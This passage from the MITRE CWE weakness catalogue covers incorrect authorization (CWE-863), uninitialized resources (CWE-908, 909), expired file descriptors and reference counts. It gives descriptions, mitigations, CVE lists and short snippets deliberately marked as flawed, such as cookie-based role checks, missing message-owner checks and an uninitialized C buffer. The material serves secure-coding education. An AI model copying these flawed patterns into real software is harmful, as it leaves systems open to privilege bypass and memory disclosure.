Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP *(bad)*

```
function runEmployeeQuery($dbName, $name){
```

```
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl *(bad)*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

Reference	Description
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168*
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597*
CVE-2009-2282	Terminal server does not check authorization for guest access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282*
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027*

Reference	Description
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781*
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548*
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960*
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230*
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577*
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679*
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898

Nature	Type	ID	Name	V	Page
MemberOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1899
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < http://csrc.nist.gov/groups/SNS/rbac/ >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/ >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-863: Incorrect Authorization

Weakness ID : 863 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1124
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	1251
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	1269
ParentOf	B	804	Guessable CAPTCHA	1495

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	1251

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly*	

Scope	Impact	Likelihood
	restricted, or by accessing insufficiently-protected, privileged functionality to write the data.	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.*	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

Example Language: PHP *(bad)*

```
$role = $_COOKIES['role'];
if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.

Observed Examples

Reference	Description
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213*
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034*
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123*
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109*
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424*
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577*
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679*
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1899
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

References

[REF-229]NIST. "Role Based Access Control and Role Based Security". < http://csrc.nist.gov/groups/SNS/rbac/ >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/ >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-908: Use of Uninitialized Resource

Weakness ID : 908 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or accesses a resource that has not been initialized.

Extended Description

When a resource has not been properly initialized, the software may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293
ParentOf	V	457	Use of Uninitialized Variable	975
CanFollow	B	909	Missing Initialization of Resource	1581

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197*
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2934*
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0063*
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0062*
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0081*
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3688*
CVE-2008-3475	chain: Improper initialization leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3475*
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1036*
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3597*
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692*
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0949*
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory

References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

CWE-909: Missing Initialization of Resource

Weakness ID : 909 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293
ParentOf	V	456	Missing Initialization of a Variable	971
CanPrecede	B	908	Use of Uninitialized Resource	1578

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.*	

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

CWE-910: Use of Expired File Descriptor

Weakness ID : 910 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses or accesses a file descriptor after it has been closed.

Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	672	Operation on a Resource after Expiration or Release	1310

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Stale file descriptor :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *The program could read data from the wrong file.*	
Availability	DoS: Crash, Exit, or Restart *Accessing a file descriptor that has been closed can cause a crash.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	Exact	Do not access a closed file

CWE-911: Improper Update of Reference Count

Weakness ID : 911 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
CanPrecede		672	Operation on a Resource after Expiration or Release	1310
CanPrecede	B	772	Missing Release of Resource after Effective Lifetime	1432

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Observed Examples

Reference	Description
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0574*
CVE-2004-0114	Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0114*
CVE-2006-3741	chain: improper reference count tracking leads to file descriptor consumption *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3741*
CVE-2007-1383	chain: integer overflow in reference counter causes the same variable to be destroyed twice. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1383*
CVE-2007-1700	Incorrect reference count calculation leads to improper object destruction and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1700*
CVE-2008-2136	chain: incorrect update of reference count leads to memory leak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2136*
CVE-2008-2785	chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2785*
